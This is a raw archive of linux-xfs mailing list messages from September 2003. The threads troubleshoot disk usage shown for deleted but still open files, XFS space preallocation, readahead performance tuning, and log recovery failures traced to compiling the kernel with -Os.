kao2.melbourne.sgi.com (localhost [127.0.0.1]) by kao2.melbourne.sgi.com (Postfix) with ESMTP id 141201400E3; Tue, 23 Sep 2003 19:09:12 +1000 (EST) X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4 From: Keith Owens To: Nicolas Kowalski Cc: linux-xfs@oss.sgi.com Subject: Re: wrong filesystem space usage In-reply-to: Your message of "Tue, 23 Sep 2003 10:43:07 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 23 Sep 2003 19:09:11 +1000 Message-ID: <6646.1064308151@kao2.melbourne.sgi.com> X-archive-position: 494 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 988 Lines: 24 On Tue, 23 Sep 2003 10:43:07 +0200, Nicolas Kowalski wrote: >We have several servers here using XFS filesystems ; they work >perfectly well, except for one of them, reporting a wrong filesystem >space usage. It seems that this filesystem grows everyday since its >installation last July. No reboot has been done since 54 days (and I >would not like to do one, as it is an important production server). > >Here are the details: > >Linux olan 2.4.21-xfs-olan #1 Wed Jul 30 09:29:56 CEST 2003 i686 unknown > >olan:/var# df . >Filesystem 1k-blocks Used Available Use% Mounted on >/dev/sda4 5750784 4388576 1362208 77% /var > >olan:/var# du -s >2692296 . There is a file on /var that has been deleted (does not appear in du) but is still being written to by a program so it still occupies disk space (appears in df). Not an XFS problem, this occurs with all file systems. 'lsof /var' will tell you which files are open on /var. From owner-linux-xfs@oss.sgi.com Tue Sep 23 02:18:12 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 02:18:35 -0700 (PDT) Received: from smtpzilla2.xs4all.nl (smtpzilla2.xs4all.nl [194.109.127.138]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N9IAFx021384 for ; Tue, 23 Sep 2003 02:18:11 -0700 Received: from auto-nb1.xs4all.nl (coltex.xs4all.nl [213.84.127.28]) by smtpzilla2.xs4all.nl (8.12.9/8.12.9) with ESMTP id h8N9I8Ce045656; Tue, 23 Sep 2003 11:18:08 +0200 (CEST) Message-Id: <4.3.2.7.2.20030923110635.03865008@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 23 Sep 2003 11:18:06 +0200 To: Nicolas Kowalski , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: wrong filesystem space usage In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 495 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs Content-Length: 2132 Lines: 60 At 10:43 23-9-2003 +0200, Nicolas Kowalski wrote: >Hello. > >We have several servers here using XFS filesystems ; they work >perfectly well, except for one of them, reporting a wrong filesystem >space usage. It seems that this filesystem grows everyday since its >installation last July. No reboot has been done since 54 days (and I >would not like to do one, as it is an important production server). > >Here are the details: > >Linux olan 2.4.21-xfs-olan #1 Wed Jul 30 09:29:56 CEST 2003 i686 unknown > >olan:/var# df . >Filesystem 1k-blocks Used Available Use% Mounted on >/dev/sda4 5750784 4388576 1362208 77% /var > >olan:/var# du -s >2692296 . > >Has anyone an idea of what is wrong ? Not really, but it seems that after removal of files the information never seems to get to disk. I only managed to see this once using a 2.4.20-18-xfs-1.3pre kernel. It's now running SGI XFS snapshot 2.4.22-2003-09-03_04:09_UTC and the reboot seemed to clear it as well. I tried a few options like remounting the filesytem read only which didn't work. (mount -o remount) The file I deleted was a 113GB tar file which the system did not pick up. xfs_repair reported no problems either. I suspect it's a in memory thing that doesn't get refreshed. Since xfs_repair reports no problems I suspect a case of metadata flushed to disk but failing to update the in memory information. Or something like that anyways. There are no messages in the system log or dmesg. Note that you will have to reboot the system before it reaches 100% since it _will_ error out (I tried this on purpose since it isn't a production box). So far this was the only one that I observed, the other machines are still humming along. I suggest updating to a more recent snapshot or 2.4.22 if you wil. This was about the same time that the new xfs sync code went in which changed the way things are flushed out dramatically from the previous version. I suspect that your version might have a buggy version. You are probably using a CVS snapshot right? Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Tue Sep 23 02:23:34 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 02:23:52 -0700 (PDT) Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N9NXFx021957 for ; Tue, 23 Sep 2003 02:23:34 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id h8N9NUTO012491 for ; Tue, 23 Sep 2003 11:23:30 +0200 (CEST) Received: from astazou.imag.fr ([129.88.43.102] helo=astazou.imag.fr.imag.fr ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1A1jOM-0001Ey-00 for ; Tue, 23 Sep 2003 11:23:30 +0200 To: linux-xfs@oss.sgi.com Subject: Re: wrong filesystem space usage References: <6646.1064308151@kao2.melbourne.sgi.com> From: Nicolas Kowalski Date: Tue, 23 Sep 2003 11:23:30 +0200 In-Reply-To: <6646.1064308151@kao2.melbourne.sgi.com> (Keith Owens's message of "Tue, 23 Sep 2003 19:09:11 +1000") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Common Lisp, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-archive-position: 496 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Nicolas.Kowalski@imag.fr Precedence: bulk X-list: linux-xfs Content-Length: 1412 Lines: 39 Keith Owens writes: > On Tue, 23 Sep 2003 10:43:07 +0200, > Nicolas Kowalski wrote: >>We have several servers here using XFS filesystems ; they work >>perfectly well, except for one of them, reporting a wrong filesystem >>space usage. It seems that this filesystem grows everyday since its >>installation last July. No reboot has been done since 54 days (and I >>would not like to do one, as it is an important production server). >> >>Here are the details: >> >>Linux olan 2.4.21-xfs-olan #1 Wed Jul 30 09:29:56 CEST 2003 i686 unknown >> >>olan:/var# df . >>Filesystem 1k-blocks Used Available Use% Mounted on >>/dev/sda4 5750784 4388576 1362208 77% /var >> >>olan:/var# du -s >>2692296 . > > There is a file on /var that has been deleted (does not appear in du) > but is still being written to by a program so it still occupies disk > space (appears in df). Not an XFS problem, this occurs with all file > systems. 'lsof /var' will tell you which files are open on /var. That's it. I found the following lines in the `lsof /var` output: postmaste 300 postgres 1w REG 8,4 1713276353 13514284 /var/log/postgres.log.1 (deleted) postmaste 300 postgres 2w REG 8,4 1713276353 13514284 /var/log/postgres.log.1 (deleted) So, when I restarted PostgreSQL, the filesystem was cleaned up. Thanks a lot ! -- Nicolas From owner-linux-xfs@oss.sgi.com Tue Sep 23 02:33:44 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 02:34:06 -0700 (PDT) Received: from malik.acsalaska.net (malik.acsalaska.net [209.112.155.41]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N9XhFx022709 for ; Tue, 23 Sep 2003 02:33:44 -0700 Received: from erbenson.alaska.net (80-pm6.nwc.alaska.net [209.112.139.80]) by malik.acsalaska.net (8.12.10/8.12.10) with ESMTP id h8N9XeXQ053101 for ; Tue, 23 Sep 2003 01:33:41 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id AFB923A04 for ; Tue, 23 Sep 2003 01:33:39 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 2EE4540FF35; Tue, 23 Sep 2003 01:33:40 -0800 (AKDT) Date: Tue, 23 Sep 2003 01:33:40 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: wrong filesystem space usage Message-ID: <20030923093340.GE19483@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <6646.1064308151@kao2.melbourne.sgi.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="bajzpZikUji1w+G9" Content-Disposition: inline In-Reply-To: <6646.1064308151@kao2.melbourne.sgi.com> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.37; SA 2.55; spamdefang 1.58 X-archive-position: 497 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Content-Length: 940 Lines: 33 --bajzpZikUji1w+G9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Sep 23, 2003 at 07:09:11PM +1000, Keith Owens wrote: >=20 > There is a file on /var that has been deleted (does not appear in du) > but is still being written to by a program so it still occupies disk > space (appears in df). Not an XFS problem, this occurs with all file > systems. 'lsof /var' will tell you which files are open on /var. lsof +L1 will show you only open, deleted files. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --bajzpZikUji1w+G9 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9wE3QACgkQJKx7GixEevwAQACfS7ODykDEGjs8720a2S0E7hzI CM0An0KPOwvL3qQjmvjQeY52L/REY+e6 =w0uy -----END PGP SIGNATURE----- --bajzpZikUji1w+G9-- From owner-linux-xfs@oss.sgi.com Tue Sep 23 04:14:13 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 04:14:55 -0700 (PDT) Received: from mailserver.globalintech.pl (ip126.globalintech.pl [62.89.81.126]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NBEBFx029780 for ; Tue, 23 Sep 2003 04:14:12 -0700 Received: from ima.pl ([172.16.148.48]) by mailserver.globalintech.pl with Microsoft SMTPSVC(5.0.2195.6713); Tue, 23 Sep 2003 13:14:08 +0200 Message-ID: <3F702B00.4020400@ima.pl> Date: Tue, 23 Sep 2003 13:14:08 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030718 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Why df results changes up-down during copy Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 23 Sep 2003 11:14:08.0166 (UTC) FILETIME=[CE9F5460:01C381C3] X-archive-position: 498 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tb670725@ima.pl Precedence: bulk X-list: linux-xfs Content-Length: 552 Lines: 19 Hi, I have observed something curious. When I start "watch -n 1 df -m" and on the second console I'm copying big tree (i.e. four different kernel sources) I see df results going up, let's say 750MB then down to lets' say 730 then againg going up. After filling up whole filesystem (980MB for tests) mc used to make copy reports no space left. "df" shows the same however after few seconds (about 10, maybe 15) df shows that there is again 40MB free. Could anybody explain that ? Is this "by design" or it's some kind of error ? Regards, Blizbor From owner-linux-xfs@oss.sgi.com Tue Sep 23 05:44:14 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 05:44:32 -0700 (PDT) Received: from mail.vcc.de (mail.vcc.de [217.111.2.122]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NCiDFx004237 for ; Tue, 23 Sep 2003 05:44:13 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.vcc.de (Postfix) with ESMTP id 31BB41620FF; Tue, 23 Sep 2003 14:44:11 +0200 (CEST) Received: from opticalart.de (wolverine.vcc.de [217.111.2.200]) by mail.vcc.de (Postfix) with ESMTP id 9F18B161FA0; Tue, 23 Sep 2003 14:44:10 +0200 (CEST) Message-ID: <3F704014.9010302@opticalart.de> Date: Tue, 23 Sep 2003 14:44:04 +0200 From: Frank Hellmann Organization: Optical Art Film- und Special-Effects GmbH User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030512 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Seth Mos Cc: linux-xfs@oss.sgi.com Subject: Re: Read performance issues with 2.6.0test5? References: <4.3.2.7.2.20030923092739.038dee40@pop.xs4all.nl> In-Reply-To: <4.3.2.7.2.20030923092739.038dee40@pop.xs4all.nl> X-Enigmail-Version: 0.71.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AmavisD using H+BEDV AntiVir/X X-archive-position: 499 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: frank@opticalart.de Precedence: bulk X-list: linux-xfs Content-Length: 1248 Lines: 45 Hi Seth! It seems that this only applies to the 2.4 kernel, does it? On my 2.6 installation there is no such entry in the /proc fs. Cheers, Frank... Seth Mos wrote: > At 15:55 22-9-2003 +0200, Frank Hellmann wrote: > >> Hi! >> >> That is a bit weird result, isn't it? On the hand-patched 2.4.20-18.9 >> Kernel with XFS 1.3.0pre4 I'll get much better read performance and >> about similar write performance. I checked if there are any issues >> regarding the internal log and tried an external one, but not much of >> a change with that. > > > The readahead defaults are skewed. Which comes from the Red Hat Errata > kernel. It changed from 2.4.18-27 to 2.4.20-18. > > see /proc/sys/vm/max-readahead. > Default went from 127 to 31. > > Since you seem to have some decent hardware *koff* I suggest setting > max-readahead to something like 511 or so. > > Cheers > > -- > Seth > It might just be your lucky day, if you only knew. > > > > -- -------------------------------------------------------------------------- Frank Hellmann Optical Art GmbH Waterloohain 7a Digital Cinema http://www.opticalart.de 22769 Hamburg frank@opticalart.de Tel: ++49 40 5111051 Fax: ++49 40 43169199 From owner-linux-xfs@oss.sgi.com Tue Sep 23 05:50:16 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 05:50:35 -0700 (PDT) Received: from mail.vcc.de (mail.vcc.de [217.111.2.122]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NCoFFx004850 for ; Tue, 23 Sep 2003 05:50:15 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.vcc.de (Postfix) with ESMTP id 29C831620FF; Tue, 23 Sep 2003 14:50:13 +0200 (CEST) Received: from opticalart.de (wolverine.vcc.de [217.111.2.200]) by mail.vcc.de (Postfix) with ESMTP id 8C417161FA0; Tue, 23 Sep 2003 14:50:12 +0200 (CEST) Message-ID: <3F70417E.2050304@opticalart.de> Date: Tue, 23 Sep 2003 14:50:06 +0200 From: Frank Hellmann Organization: Optical Art Film- und Special-Effects GmbH User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030512 X-Accept-Language: en-us, en MIME-Version: 1.0 To: freemyer-ml@NorcrossGroup.com Cc: Austin Gonyou , XFS List Subject: Re: Read performance issues with 2.6.0test5? References: <3F6EFF6E.9040005@opticalart.de> <1064248640.1949.17.camel@localhost.localdomain> <1064253817.1744.1.camel@david.internal.NorcrossGroup.com> In-Reply-To: <1064253817.1744.1.camel@david.internal.NorcrossGroup.com> X-Enigmail-Version: 0.71.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AmavisD using H+BEDV AntiVir/X X-archive-position: 500 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: frank@opticalart.de Precedence: bulk X-list: linux-xfs Content-Length: 960 Lines: 34 Hi! Good suggestion and guess what? Performance is bad on the raw device as well. So it is not an XFS issue... Sorry for the wrong guess... Cheers, Frank... Greg Freemyer wrote: > On Mon, 2003-09-22 at 12:37, Austin Gonyou wrote: > > >>I agree that these results are odd. Something is amiss here, but there >>really are many parts to remove before signifying one or the other. You >>could always format that MD volume you made as EXT3 or Reiser and >>perform the same test. >> > > If the filesystem is of no value, you could also do you dd to the raw MD > volume. > > If that has similar problems then you can forget about xfs as the > bottleneck. > > Greg -- -------------------------------------------------------------------------- Frank Hellmann Optical Art GmbH Waterloohain 7a Digital Cinema http://www.opticalart.de 22769 Hamburg frank@opticalart.de Tel: ++49 40 5111051 Fax: ++49 40 43169199 From owner-linux-xfs@oss.sgi.com Tue Sep 23 06:00:27 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 06:00:32 -0700 (PDT) Received: from phear.lwz.org (postfix@ool-182c4041.dyn.optonline.net [24.44.64.65]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8ND0QFx005630 for ; Tue, 23 Sep 2003 06:00:27 -0700 Received: by phear.lwz.org (Postfix, from userid 501) id 1180FD3CF; Tue, 23 Sep 2003 09:00:26 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by phear.lwz.org (Postfix) with ESMTP id 0744B3ED0; Tue, 23 Sep 2003 09:00:26 -0400 (EDT) Date: Tue, 23 Sep 2003 09:00:25 -0400 (EDT) From: Cory Visi To: Cc: Nathan Scott , Steve Lord Subject: Re: XFS recovery issues In-Reply-To: <20030923072012.GC2325@frodo> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 501 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: merlin@phear.lwz.org Precedence: bulk X-list: linux-xfs Content-Length: 1780 Lines: 42 On Tue, 23 Sep 2003, Nathan Scott wrote: > On Mon, Sep 22, 2003 at 07:54:38PM -0400, Cory Visi wrote: > > Hi, I just want to reiterate that this problem is reliably reproducable. I > > can cut power to the machine as many times as I want and XFS never > > recovers. I can even do a "sync" beforehand and it still does not recover. > > Furthermore, if I boot with a boot CD and attempt a mount, XFS recovers > > fine (on all partitions). > > > > For some reason my kernel is not able to recover from an improper > > shutdown. > > > > Attached is a log print generated by xfs_logprint -t off a boot CD as > > requested. > > > > Here's an xfs_info printout of the partition as well: > > meta-data=/mnt/test isize=256 agcount=3, agsize=436820 blks > > = sectsz=512 > > data = bsize=4096 blocks=1310460, imaxpct=25 > > = sunit=0 swidth=0 blks, unwritten=0 > > naming =version 2 bsize=4096 > > log =internal bsize=4096 blocks=16384, version=1 > > = sectsz=512 sunit=0 blks > > realtime =none extsz=65536 blocks=0, rtextents=0 > > > > What compiler version are you using Cory? There was a change that > went into xfs_log.h a little while back in an area that has been > sensitive to compiler versions in the past (see xfs_log.h) and I > wonder if that could be the root cause here. Nathan, I took a look at xfs_log.h from CVS and I'm not sure that's the issue. I'm using this version of gcc: gcc (GCC) 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice) The lines in xfs_log.h seem to only affect 2.96. Could this still be an issue? Should I try the 2.96 code? Thanks, Cory Visi From owner-linux-xfs@oss.sgi.com Tue Sep 23 06:27:48 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 06:28:11 -0700 (PDT) Received: from phoenix.infradead.org (pub234.cambridge.redhat.com [213.86.99.234] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NDRiFx006924 for ; Tue, 23 Sep 2003 06:27:47 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.22) id 1A1nCe-0004A1-Dn; Tue, 23 Sep 2003 14:27:40 +0100 Date: Tue, 23 Sep 2003 14:27:40 +0100 From: Christoph Hellwig To: Cory Visi Cc: linux-xfs@oss.sgi.com, Nathan Scott , Steve Lord Subject: Re: XFS recovery issues Message-ID: <20030923142740.A15989@infradead.org> References: <20030923072012.GC2325@frodo> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from merlin@phear.lwz.org on Tue, Sep 23, 2003 at 09:00:25AM -0400 X-archive-position: 502 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs Content-Length: 426 Lines: 10 On Tue, Sep 23, 2003 at 09:00:25AM -0400, Cory Visi wrote: > gcc (GCC) 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice) > > The lines in xfs_log.h seem to only affect 2.96. Could this still be an > issue? Should I try the 2.96 code? It should not be needed. You could try it anyway or even better try an official gnu compiler release or one of the major distros with gcc expertise instead of strangely patched stuff. From owner-linux-xfs@oss.sgi.com Tue Sep 23 06:39:26 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 06:39:32 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NDdPFx007690 for ; Tue, 23 Sep 2003 06:39:26 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8NBgOOO023840 for ; Tue, 23 Sep 2003 04:42:24 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8NDdIcc11744424; Tue, 23 Sep 2003 08:39:18 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8NDdJK21090990; Tue, 23 Sep 2003 08:39:19 -0500 (CDT) Date: Tue, 23 Sep 2003 08:39:18 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: "Blizbor (IMA)" cc: linux-xfs@oss.sgi.com Subject: Re: Why df results changes up-down during copy In-Reply-To: <3F702B00.4020400@ima.pl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 503 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1240 Lines: 36 Sounds like xfs's space preallocation - it allocates extra space at the end of a file, on the assumption that you're going to keep writing to it. Overall, this is a performance improvement. As the files close, the extra space at the end gets returned back to freespace. I think that various levels of sync also return this freespace. However, as the filesystem fills up, it is supposed to push harder on flushing/freeing this preallocated space, so it seems a little odd that you'd actually get ENOSPC, then have more free after a few seconds. Maybe Steve will chime in with some ideas. :) -Eric On Tue, 23 Sep 2003, Blizbor (IMA) wrote: > Hi, > > I have observed something curious. > > When I start "watch -n 1 df -m" and on the second console I'm copying > big tree (i.e. four different kernel sources) I see df results going up, > let's say > 750MB then down to lets' say 730 then againg going up. > After filling up whole filesystem (980MB for tests) mc used to make copy > reports no space left. "df" shows the same however after few seconds > (about 10, > maybe 15) df shows that there is again 40MB free. > > Could anybody explain that ? > Is this "by design" or it's some kind of error ? > > Regards, > Blizbor > > From owner-linux-xfs@oss.sgi.com Tue Sep 23 07:56:11 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 07:56:15 -0700 (PDT) Received: from phear.lwz.org (postfix@ool-182c4041.dyn.optonline.net [24.44.64.65]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NEuAFx011542 for ; Tue, 23 Sep 2003 07:56:10 -0700 Received: by phear.lwz.org (Postfix, from userid 501) id 9FC87D3CF; Tue, 23 Sep 2003 10:56:09 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by phear.lwz.org (Postfix) with ESMTP id 964353ED0; Tue, 23 Sep 2003 10:56:09 -0400 (EDT) Date: Tue, 23 Sep 2003 10:56:09 -0400 (EDT) From: Cory Visi To: Cc: Christoph Hellwig , Nathan Scott , Steve Lord Subject: Re: XFS recovery issues In-Reply-To: <20030923142740.A15989@infradead.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 504 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: merlin@phear.lwz.org Precedence: bulk X-list: linux-xfs Content-Length: 811 Lines: 22 On Tue, 23 Sep 2003, Christoph Hellwig wrote: > On Tue, Sep 23, 2003 at 09:00:25AM -0400, Cory Visi wrote: > > gcc (GCC) 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice) > > > > The lines in xfs_log.h seem to only affect 2.96. Could this still be an > > issue? Should I try the 2.96 code? > > It should not be needed. You could try it anyway or even better try > an official gnu compiler release or one of the major distros with gcc > expertise instead of strangely patched stuff. Thank you for tipping me off to compiler/gcc problems. I was compiling the kernel with -Os. When I reverted this back to -O2, XFS recovery began working. Should XFS be able to be compiled with -Os? Is my gcc doing something funky with -Os? Hopefully this experience will become helpful to someone. Thank you, Cory Visi From owner-linux-xfs@oss.sgi.com Tue Sep 23 08:03:08 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 08:03:25 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NF38Fx012192 for ; Tue, 23 Sep 2003 08:03:08 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8ND66OO032606 for ; Tue, 23 Sep 2003 06:06:06 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8NF32cc11705555; Tue, 23 Sep 2003 10:03:02 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8NF32Sn29681833; Tue, 23 Sep 2003 10:03:02 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8NF31kf024147; Tue, 23 Sep 2003 10:03:01 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8NF31Qr024145; Tue, 23 Sep 2003 10:03:01 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: XFS recovery issues From: Steve Lord To: Cory Visi Cc: linux-xfs@oss.sgi.com, Christoph Hellwig , Nathan Scott In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064329381.21008.990.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 23 Sep 2003 10:03:01 -0500 X-archive-position: 505 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1209 Lines: 36 On Tue, 2003-09-23 at 09:56, Cory Visi wrote: > On Tue, 23 Sep 2003, Christoph Hellwig wrote: > > > On Tue, Sep 23, 2003 at 09:00:25AM -0400, Cory Visi wrote: > > > gcc (GCC) 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice) > > > > > > The lines in xfs_log.h seem to only affect 2.96. Could this still be an > > > issue? Should I try the 2.96 code? > > > > It should not be needed. You could try it anyway or even better try > > an official gnu compiler release or one of the major distros with gcc > > expertise instead of strangely patched stuff. > > Thank you for tipping me off to compiler/gcc problems. I was compiling the > kernel with -Os. When I reverted this back to -O2, XFS recovery began > working. > > Should XFS be able to be compiled with -Os? Is my gcc doing something > funky with -Os? Hopefully this experience will become helpful to someone. Maybe you should ask if gcc should be able to cope with XFS ;-) if changing the optimization level breaks the code, then the compiler is usually at fault. Steve > > Thank you, > Cory Visi -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Sep 23 08:03:52 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 08:03:57 -0700 (PDT) Received: from phoenix.infradead.org (pub234.cambridge.redhat.com [213.86.99.234] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NF3oFx012425 for ; Tue, 23 Sep 2003 08:03:51 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.22) id 1A1ohh-0004g4-RT; Tue, 23 Sep 2003 16:03:49 +0100 Date: Tue, 23 Sep 2003 16:03:49 +0100 